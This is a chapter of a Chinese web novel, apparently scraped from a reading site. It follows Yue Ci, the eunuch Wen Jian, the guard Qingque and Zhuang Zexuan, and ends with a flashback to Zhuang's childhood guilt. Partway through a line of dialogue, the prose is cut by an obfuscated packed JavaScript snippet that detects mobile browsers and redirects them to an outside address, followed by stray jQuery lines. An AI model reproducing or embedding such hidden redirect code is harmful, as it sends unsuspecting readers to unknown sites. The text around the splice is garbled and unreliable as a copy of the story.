42. 往事

作品:《这个掌印不太冷

    闻鉴眉梢一动,当真乖乖起身走到了她面前,下一瞬领口忽然被人一把拽住,身子俯下稍许,脸颊骤然贴上了一个软乎乎的东西。


    有点凉,还有点颤抖,不过蜻蜓点水的一触,很快分开。


    闻鉴不可遏制地微微睁大了眼。


    时间在此刻仿佛被冻结,茶楼内一片死寂,就连外头的雨声都一并消失。


    所有黑鸟卫脸上皆是一片怔然,麻雀尤其。


    不知道青雀看到这一幕会作何感想,反正他现在什么也不敢想。


    月慈也觉得自己胆大妄为了些,只在面上故作镇定,心里却一遍遍地打鼓。


    缓神过后,她扭头又重新将庄泽宣望着,故作冷漠道:“看清楚了?这里才是我选择,让你滚是为了你好,不要再生出带我走的妄念。”


    月慈故作漠然。她看不到自己脸上泛起的云霞,庄泽宣却看见了,因此更加觉得真实可信。


    她还是那个心思单纯的阿慈吗?闻鉴明明连男人都算不上!就因为所谓的权势地位,她就对他投怀送抱?


    庄泽宣心中有如山石崩塌,接受不了眼前发生的这一幕,恨不得这剑直接抹了他的脖子!


    一时气愤难当,道:“好!好!我知道了。”


    闻鉴思绪渐渐回笼,飞快地眨了两下眼睛,将方才的错愕遮掩下去,恢复了以往的漫不经心,冲那持剑的黑鸟卫抬了抬手。


    长剑撤去,闻鉴一手负在身后,一手却径直揽过了月慈的腰。


    他眼中升起一片狡黠,像是想到了什么有趣的点子,这种感觉比直接杀了庄泽宣,或是折磨他还要畅快。


    “看在咱家这宝贝心肝的份上,送庄公子回去。切记,好好护送,不得出任何闪失。”


    月慈:“?”


    他刚刚叫她什么?


    月慈不知道闻鉴又在玩什么把戏,这话乍一听还以为是要在半路动手,一时挣动了两下,箍在她腰上的那只手却更紧了些。


    庄泽宣见这两人私下里的小举动,以为他们是在光明正大的调情,气得眼底猩红一片,温润不复,只剩下满脸的厌恶。


    “假惺惺,不用你送!”


    闻鉴粲然一笑:“这可由不得你。”


    庄泽宣气得胸腔剧烈伏动,在两名黑鸟卫的看守下拂袖离去了。


    月慈瞬间将闻鉴推开,一脸警惕地瞪着他:“你想做什么?”


    闻鉴露出一点无辜,摊了摊手:“我不会杀他的。”


    月慈看他心情不错的样子,却像是藏了点坏。


    果然,闻鉴又道:“虽然不会杀他,但难保我那些手下护送不当,途中出个什么差错让庄公子缺胳膊少腿,可就不好了。”


    月慈:“所以?”


    闻鉴道:“所以不妨你把先前对我做的,可以再做一遍。”


    月慈一时脸色,知道他是故意的,转身骂道:“滚蛋。”


    茶楼大堂,堂倌和掌柜的都站在柜台后,望着眼前一众的黑鸟卫,缩着脑袋不敢吱声。


    楼上急急下来个人,堂倌稍稍抬眼看去,见是先前那被雨淋湿的狼狈姑娘,此刻面色涨红,脚下走得飞快,不像是逃命,倒像是有点羞赧又气愤的样子。


    她后面还跟着一人,一身雪袍的男人脚步沉稳,不紧不慢地跟着。


    堂倌一见那人,顿时又吓得低头,只是好奇心占于上风,让他忍不住悄悄抬眼看去,这一看倒是让他看见了不得了的一幕。


    女子走到门前被眼前的雨阻挡了脚步,一旁的黑鸟卫正要为其撑伞,掌印却先一步接过了那柄竹伞,随后遮着她来到马车的脚凳前。


    紧接着,掌印伸出一只手,堪堪搀着那名女子上了马车。


    堂倌:“……”


    那个姑娘到底是什么来头,竟然能让魔头为其撑伞搀扶!?


    直到黑鸟卫跟随马车一起退去,他才猛地掐了自己大腿一把,“嗷”的大叫一声,惊觉刚刚看到的一幕竟不是在做梦!


    ——


    一进车内,月慈便闻到一股浓烈的香味,呛的直冲天灵盖。她才坐下,车帘又被掀开,风灌进的同时,露出车帘后一张白玉无瑕的脸。


    月慈看到那张脸便想起在茶楼内自己的所作所为,登时心里生出了点奇异的感觉,别扭地看向其它地方。


    这一看,余光扫到角落里的几滴血迹,神色倏地一沉。


    街上出现躁动时,她便听到了关于闻鉴将要抓捕李尚的事,这地上的血想必不是他的,而是李尚的。


    那么,他今夜离开宫中的团圆宫宴便不是为了她。


    可笑,月慈竟然有那么一瞬间以为,他是为了她才出宫来的。


    但很快她便觉得自己荒唐,就算是为了她,又当如何。


    月慈有些烦躁,掩了鼻子,一手将那熏香直接丢出了窗外。


    “下次别用这种难闻的东西。”


    闻鉴也不伸手阻拦,就坐在一旁静静看着,但很快,月慈的目光便落在了他身上,那眼神像是要把他也从窗外丢出去。


    她的手动了。


    闻鉴眼睛紧盯着。


    却见月慈只是将手探进袖口里,从里面拿出了一样东西,递到他面前,道:“用这个。”


    她手中握着一个白色的香囊,用以湖蓝的丝线绣着一只展翅欲飞的鸟。


    闻鉴喉头一滚,小心翼翼地双手将之接过,却是问道:“为什么是蓝色的鸟?”


    月慈也说不上个所以然来,只觉得那立在飞鸟阁上的纯金打造的鸟虽然华丽堂皇,却太过沉重,倒不像是起飞,反而是坠落。


    然而她没对闻鉴说这么多,只道:“蓝色好看。”


    看起来轻盈。


    闻鉴望着失而复得的香囊,说不出心中是什么滋味。只觉得它太过沉重,以至于自己双手捧着,都觉得吃力。


    很快,马车停在了飞鸟阁前。


    闻鉴让月慈先去换身衣裳,随后领她去见一个人。


    月慈当然知道他要带自己见谁,只是她没想到闻鉴连跟随自己出生入死的属下都能下得去手。


    飞鸟阁中有地牢,阴暗潮湿,空气中散发着一股霉味。


    两侧石墙点燃火把,青雀被人拖上来的时候,身上已经被鞭子抽了满身血痕,但尚且留了他一命,应该是在等月慈亲自处置。


    还有其他几个黑鸟卫,也被打得不轻,如果月慈没猜错,应该就是那些对她挥刀的人。


    闻鉴往月慈手里塞了一把窄刀,慢悠悠道:“他们就交给你处置了。”


    他一副无所谓的淡然模样,不知道的还以为只是在处理鱼虾。


    月慈便又有些看不懂他。


    青雀说闻鉴救过他的命,可如今他的救命恩人却将他打成了这副模样,还有其他的黑鸟卫,忠心耿耿却换来一顿鞭子。


    青雀跪在两人面前,低垂着脑袋,月慈看不见他脸上的表情,自然不知道他心里在想什么。


    她提着窄刀走近,站在青雀面前,旁边的麻雀捏了把冷汗,紧张地盯着她。


    月慈这人向来有仇报仇,有怨报怨,按理说青雀差点派人杀了她,她就算朝他挥刀也是理所应当。


    青雀闭上眼,面容平静地等待死亡来临。


    只听得“当啷”一声,他猛地睁开眼,先是看见面前掉在地上的窄刀,然后是云白鹤纹裙的一角,继而向上看去,他对上了自己最厌恶的一张面容,那双眼睛却从容漠然地将他望着。


    他脸上一时浮现出不解,就连闻鉴也愣了一瞬,但很快便恢复了常色。


    麻雀小心翼翼地松了一口气。


    月慈丢了刀,道:“处置什么,青雀是做了什么错事吗?”


    闻鉴还没开口,青雀先激动地喊了起来:“别装了!你早该猜到追杀的人是我派出去的!没错!我就是为了杀你!你就是个祸害!”


    闻鉴听得皱眉,正准备一脚踹上去。


    又听得月慈开口道:“追杀?可我今夜并未遇到什么追杀的人啊?”


    一时间,几人都是一脸怔然,扭头望着她。


    月慈道:“虽然我不知道你们在玩什么把戏,但这件事就此作罢,今夜我没见过什么杀手,也不想杀人。”


    她打了个哈欠,看向麻雀:“走,送我回去。”


    麻雀原地愣了愣,才拿了把伞跟上她。


    路上,见她神情平静,还是没忍住问:“你为什么要说谎?今夜若不是我及时赶到,你怕是已经死了。”


    月慈脚步没停,淡淡道:“跟你家大人学的。”


    麻雀更是不解,他心里还有许多想说的话,但最终到了嘴边,只变成了一句:“其实……”


    便住了口,不知该如何往下说,只憋出一句,“其实你也是个好人。”


    月慈像是被他的话逗笑了,发出短促的一声轻嗤,但她神色未变,只定定瞧着前方,廊下的灯仿佛照不进她眼底。


    语气变沉了些,道:“我可不算个好人。”


    ——


    月慈离开后,闻鉴那一脚终是踹了出去。青雀摔在地上,在地面留下一道道血痕。


    “疼吗?”他神色比起方才更加冷凝,见青雀倔强摇头,又生出几分肃杀之气。


    “可你该疼的。我说过不准对她出手,你表面应和,却背着我干出这种事来,青雀,我是否可以将此视为背叛。”


    青雀紧咬着下唇,又强忍着疼跪在了闻鉴面前。


    成为黑鸟卫的第一言律,便是忠心侍主,不得背叛,否则当受万劫不复的刑罚。


    大人只是抽了他几十鞭,已经是万分开恩了。


    可……


    “大人,青雀不明白,您为何要不顾性命的对那个女人言听计从!难道大人您忘了我们的,计划吗?”他两手紧握成拳,伤口崩裂渗出更多血水,却浑然未觉,只是觉得如果不解了心中疑惑,哪怕是死都不能心安!


    听到最后二字,闻鉴眼帘一下子垂了下去:“不。”


    地牢内光线昏暗,他眼中死寂一片。


    所有人都在提醒他“计划”,哪怕那是一道万丈悬崖,他也唯有跳下去。


    青雀见他沉默,胸腔剧烈鼓动着,迟疑片刻,还是决定问出心中疑惑:“那……大人您莫不是真的对她动了心思?”


    闻鉴眼睫轻动,这次却是迟疑了。


    他并未直面回答,只固执的将沸腾的情绪压将下去,唇线绷直道:“对我来说,她是最好不过的白绫。”


    那最后二字极低,低到连他自己似乎都听不见。


    ——白绫。


    青雀猛地一惊,脸上本就血痕交错,此刻在昏暗的光线中显出几分狰狞。


    他怀疑自己是不是听错了,满脸惊愕,可一回想起大人一路走来的种种,又觉得,本该如此。


    从大人被推上那个位置开始,结局便已注定,要坠入那万劫不复的深渊。他只想让他活,却忘记了在悬崖上站久了会渐渐麻木,会被刚烈的风吹得摇摇欲坠。


    灵魂若是死了,□□活着还有何用。


    这一刻,盘踞在青雀心底的乌云骤然消散。


    既然月慈对他既往不咎,闻鉴也未对他下杀手,只又警告几句,便让他退下了。


    然而当青雀拖着伤痕累累的身体回到住处时,还未等开门,便已察觉到屋内有人。推门而入的手只是一顿,他当即眸光一凛,随即将门推开。


    月慈端端正正地坐在暗处,讳莫如深。


    “原来是想在大人面前装的柔弱善良,”青雀将门合上,冷嗤道,“早知道你虚伪,要杀就杀。”


    他站在原地,没有想反抗的意思。


    月慈身形未动,依旧坐在椅子上,只抬手将旁边的灯点了,火光跳跃着,微弱的光在她脸上打下一片晦暗的侧影。


    然后她端着烛灯走近青雀:“没什么好装的,我说了不杀你,便不会杀你。”


    话音刚落,她抬手扇了一掌落在青雀脸上。


    这一掌用了极大的力气,以至于青雀脑袋歪向一边,虚弱的身体正要往边上倒去,却被月慈又抬手拽了回来。


    月慈一手提着青雀的衣领,一手将烛火靠近他的头,只差一毫就能燎烧到他的头发。


    沉声道:“其实你根本无需调查,因为你肯定知道真相,拖延时间不过是为了趁闻鉴不在的时候取我性命,但我已经没有耐心了。”


    烛火的照耀下,青雀眼底闪过一丝讶然,似乎没想到月慈能看穿他的心思。


    但他还是紧咬牙关,露出一副凶神恶煞的表情:“那又如何,你既想杀了大人,我就要杀了你!”


    又是一掌掴在了他脸上,月慈漠然道:“笑话,你自以为的忠诚不过只是变相的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15201925|156122||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    愚蠢,杀了我,你以为闻鉴会如何。”


    青雀皱眉:“你什么意思?”


    月慈道:“一直以来闻鉴想营造的,不就是他在外人眼里的‘刽子手’形象么,冷血嗜杀,残暴疯癫,只有这样所有人才会将矛头落在他身上。”


    所以她从一开始就被骗了,被带进了闻鉴所营造的假象中,在看到月霞尸体从飞鸟阁被推出的一刹那,理所当然认为这样的人一定就是凶手。


    月慈顿了一下,才继续道:“青雀,你不是在救你家大人,而是在把他推得更深。”


    青雀没想到月慈会这么说,一时哑口无言,不知道让她靠近这些真相到底是好是坏。


    私以为,将一切和盘托出,或许他家大人就不会整日用命去陪她,但若是就这么坦而告之,他无法确认月慈此人是否值得信赖,不会坏了计划。


    直到月慈松开他,铿锵有力道:“只有我能将他拉回来。”


    青雀眼中瞳孔骤然一缩。


    心道,也许这人并不是他想象的那样不自量力,傲慢又愚钝。


    明明就只是个女子,没有背景势力,也不会武功,普普通通如一叶浮萍,随便丢一颗石子便能将她压进湖水之下,可她却倔强地偏要浮于水面之上。


    这瞬间他似乎理解了大人为什么会对她如此特别,又将她当做“白绫”。


    谁说白绫只能用来自裁。


    他既做不了拯救大人的人,那便希望有人能将大人从必死的悬崖上拉回来。


    郁结的思绪终于得到了解脱,青雀长舒一口气,情绪平复后,竟感到没来由的轻快。


    月慈第一次看见青雀用这种平和的目光望着自己。


    他艰难地咳出一口血,才道:“月姑娘,无论我现在说什么,你大抵都是不信的,既然如此,你不妨自己亲眼看看真相。”


    月慈眉峰一紧:“什么意思?”


    “下个月初三定文侯府将举办生辰宴,月姑娘不妨再多等几日,那里或许有你想要的答案。”


    月慈道:“给我一个信你的理由。”


    青雀咧嘴笑了一下:“姑娘心里清楚,你也在犹豫大人究竟是不是你的仇人,只怕是错杀,真正的仇人依旧逍遥法外。反正大人对你并不设防,究竟真相如何,姑娘多等几日看看又何妨?”


    随即,他咬牙忍着疼,竟面色肃然地跪在她面前,行了一个大礼。


    “抱歉姑娘,原先对您多有误会,做了不少错事,还望姑娘莫怪!”顿了顿,他眼中似有一点亮光忽闪,“若姑娘不能原谅青雀所为,日后但凭姑娘一句话,青雀甘效犬马之劳!只是青雀还有一不情之请,希望您能说到做到,在得知一切后……能够救救大人!”


    说罢,重重朝月慈磕了一头。


    ——


    庄泽宣被几个黑鸟卫护送到驿站门口。


    他原本以为闻鉴会叫他们半路动手,未曾想竟是真的将他安全送了回来。其中一个黑鸟卫从怀中摸出一样东西递到他面前,那是几张红色的花笺。


    庄泽宣不明所以地看着,冷声道:“什么意思?”


    黑鸟卫道:“这是大人特意交代的,说是祝庄公子能早日找到自己的另一半。”


    说完不等庄泽宣拒绝,直接将花笺往他手中一塞:“庄公子最好收着,免得叫大人生气。”


    言外之意便是警告。


    几个黑鸟卫漠然隐进黑暗中,庄泽宣捏紧了手中的花笺,直到对方身影完全消失,才将那些花笺随手丢在地上,愤然转身。


    回到房间后,他唤人拿了笔墨纸砚来,写了满满的一页纸,才收好了,交给候在一旁的仆从,道:“送到玟州七宝镇慈悲村里的刘屠户一家。”


    阿慈是个重情之人,既然她不听他的话,那就找个能让她听话的人来。


    仆从正要接过信件,庄泽宣却又将手一缩,面上浮现一点凝重。


    不对,按理说他没收到阿慈的信,可以理解为是被闻鉴阻拦,但阿慈离开家这么久,刘屠户一家竟也没有书信一封到云城来,只怕是某人又在暗中做了手脚。


    于是他将信交给仆从,又重新低声交代了一番。


    仆从拿着信离开了。


    桌案旁正好摆着一面铜镜,庄泽宣转头时被铜镜印出了另一副模样,眉间阴郁未消,与那个总是儒雅温润的公子截然相反。


    他望着镜子,抬手抚上额角的伤疤。


    十几年前,这道疤还不存在。那时他与月慈月霞是最好的伙伴,以至于父亲说要搬家时,他撒泼打滚,就是不同意。


    那年七宝镇的县令生了个怪病,找了许多大夫医治都无用,后来有人推荐了月慈的父母。起初县令并不信任乡野之地的小郎中,最后大概是被逼无门,只好让他们试试。


    庄泽宣还记得那一日午后,他像往常一般去寻两姐妹,院里只有忙碌的月父月母,空气中飘着一股浓苦的药味。


    月父穿着一身儒雅的长衫,说话总是慢悠悠的,笑起来很温和,从屋内拿了一块桂花糕给他,对他道:“她们俩还在午憩呢,你要不晚会儿再来?”


    庄泽宣应了声好,却没离开,他坐在月家的门口把桂花糕慢慢啃完了,又百无聊赖地玩了会儿石子,听到院子里的谈话声。


    月母道:“这药虽然不能根治大人的病,至少能替他缓解下症状……希望能给咱们多争取点时间吧。”


    月父叹了口气:“但愿吧,一会儿我换身衣裳去送药,你夜里都在查阅医术,先去休息吧。”


    院子里很快没了人,只剩下还在蒸煮的药罐散发着难以言喻的气味。


    庄泽宣站在药罐前好奇地探头。


    ……


    县令死了,在喝了月父端来的药后,官兵逮捕了两人,拷着他们从街上一路游行。街道两侧是拥挤的人群,庄泽宣像个肉包被挤在中间,骤然意识到自己做了件错事。


    可是他不说有谁会知道呢?


    只怕是承认了就会挨骂挨打,甚至有可能将他也拷走。


    他开始发了疯地往家跑去,穿过议论纷纷的街道,穿过田埂小径,心脏在胸腔中狂跳,结果在进门时摔了一跤,脑袋磕在了门槛上,顿时世界天旋地转。


    门里的父母看见了,着急地迎出来。


    那时他拉着他们的手,脱口而出的第一句话是:“爹,我们搬家吧!”